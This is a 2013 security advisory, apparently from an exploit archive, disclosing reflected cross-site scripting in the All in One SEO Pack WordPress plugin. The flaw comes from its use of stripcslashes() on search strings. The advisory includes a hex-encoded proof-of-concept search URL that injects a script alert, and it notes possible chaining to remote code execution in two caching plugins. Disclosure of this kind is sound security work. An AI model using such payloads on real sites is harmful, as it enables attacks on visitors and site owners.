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WordPress Semper Fi Cross Site Scripting

WordPress Semper Fi Cross Site Scripting
Posted Oct 2, 2013
Authored by Charlie Briggs, Richard Clifford

The Semper Fi Web Design WordPress plugin suffers from a cross site scripting vulnerability due to the use of stripcslashes().

tags | exploit, web, xss
SHA-256 | 2c1c34797bbfda372b7ccd583f5cd48d7f0a94a81c2eabecd541fa90ca61a321

WordPress Semper Fi Cross Site Scripting

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Vendor: Semper Fi Web Design (http://semperfiwebdesign.com/)

Software: All in One SEO Pack

Developer: Michael Torbert (http://michaeltorbert.com/)

Product URL: http://wordpress.org/plugins/all-in-one-seo-pack/

Changelog: http://semperfiwebdesign.com/blog/all-in-one-seo-pack/all-in-one-seo-pack-release-history/

Vulnerability type: Reflected Cross-Site Scripting (XSS)

Vulnerable versions:
1.x branch:
1.3.6.4 - 1.6.15.2

2.x branch:
2.0 - 2.0.3

Fixed in: 2.0.3.1

Credit: Charlie Briggs / Richard Clifford

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Advisory details:

Semper Fi Web Design's WordPress plugin, All in One SEO Pack
introduced the use of PHP function stripcslashes() on the search
string in version 1.3.6.4, this was continually used in each version
up until the latest (2.0.3.1)

The use of stripcslashes() means that an encoded payload in the search
parameter, forming a request of:

http://example.com/wordpress/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e

Would lead to the following output:
</title><script>alert(document.domain)</script>

This can also be used as an attack vector for the remote code
execution vulnerabilities in vulnerable versions of the caching
plugins W3 Total Cache and WP Super Cache.

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